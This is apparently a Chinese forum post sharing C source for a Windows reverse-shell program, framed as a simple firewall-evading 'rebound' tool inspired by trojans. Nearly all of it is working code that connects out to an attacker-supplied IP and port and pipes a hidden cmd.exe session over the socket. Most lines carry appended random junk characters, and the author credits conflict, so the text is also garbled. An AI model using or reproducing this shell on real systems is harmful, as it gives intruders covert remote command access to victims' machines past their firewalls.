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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gn ?YF`  
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/* ============================== uZIJoT  
Rebound port in Windows NT _BS 9GB  
By wind,2006/7 7,'kpyCj  
===============================*/ {%b }Z2  
#include Jdj?I'XtY  
#include |~K(F <;j  
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#pragma comment(lib,"wsock32.lib") 2z_2.0/3  
5~+XZA#2  
void OutputShell(); cin2>3Z$  
SOCKET sClient; WUEHB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Q&,ISO\  
%8mm Hh  
void main(int argc,char **argv) VWi2(@R^  
{ !tNd\ }@  
WSADATA stWsaData; T3N"CUk  
int nRet; ONX8}Ob~  
SOCKADDR_IN stSaiClient,stSaiServer; +e P.s_t  
W7=V{}b+  
if(argc != 3) OBOwz4<  
{ _xrwu;o0}  
printf("Useage:\n\rRebound DestIP DestPort\n"); U)D[]BVg  
return; -5b A $  
} t6lE#<xZV;  
 8=;k"  
WSAStartup(MAKEWORD(2,2),&stWsaData); )oU)}asY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o 3N]`xD'  
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stSaiClient.sin_family = AF_INET; ?&X6:KJQ  
stSaiClient.sin_port = htons(0); 0CAa^Q^w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qpp/8M  
M\D]ml~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d]wD[]  
{ 86qI   
printf("Bind Socket Failed!\n"); PmX2[7  
return; sL^yB  
} < <Y}~N  
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stSaiServer.sin_family = AF_INET; TgfrI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \Kav w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^G1%6\We  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ds #/  
{ +d+@u)6  
printf("Connect Error!"); fx=Awba  
return; P./V6i<:  
} S= R7`a<.5  
OutputShell(); +;$oJJ  
} ](tx<3h  
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void OutputShell() /kL $4CA  
{ iLP7!j  
char szBuff[1024]; Tus}\0/i>  
SECURITY_ATTRIBUTES stSecurityAttributes; |b-9b&  
OSVERSIONINFO stOsversionInfo; q{s(.Uq$&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0q>P~] Ow  
STARTUPINFO stStartupInfo; i|w8.}0  
char *szShell; Wcb7 ;~K  
PROCESS_INFORMATION stProcessInformation; ] 2 #  
unsigned long lBytesRead; bfB\h*XO  
NaVQ9ku7VW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F(4?tX T  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "|;:>{JC  
stSecurityAttributes.lpSecurityDescriptor = 0; lzw3=H  
stSecurityAttributes.bInheritHandle = TRUE; ,NnhHb2\  
rG#Z=*b%  
+iRq8aS_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .Ha'p.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 56^ +;^f^`  
JdIlWJY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4S~o-`&W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h\plQ[T  
stStartupInfo.wShowWindow = SW_HIDE; 8N:owK  
stStartupInfo.hStdInput = hReadPipe; jV.g}F+1m  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4}_O`Uxh  
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GetVersionEx(&stOsversionInfo); o]nw0q?  
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switch(stOsversionInfo.dwPlatformId) REZJ}%}/  
{ ?$f)&O  
case 1: x~.:64  
szShell = "command.com"; wi9DhVvc 0  
break; 0ye!R   
default: u0P)7~%  
szShell = "cmd.exe"; .sQ=;w/ZA  
break; [M.f-x:  
} k >t )g-,2  
(`SRJ$~f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); USFD y  
b-3*Nl_%  
send(sClient,szMsg,77,0); TKk-;Y=N  
while(1) zBO(`=|  
{ [((;+B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J=pztASt  
if(lBytesRead) lKEkXO  
{ f;}EhG'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !"e5~7  
send(sClient,szBuff,lBytesRead,0); Vy_2.  
} JG9`h#  
else VmzbZTup  
{ :4^\3~i1X  
lBytesRead=recv(sClient,szBuff,1024,0); P2nft2/eu?  
if(lBytesRead<=0) break; piU /&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c/_ +o;Bc  
} M$0u1~K  
} o)OUWGjb/K  
qlA7tU2p&  
return; w8g,a]p  
}
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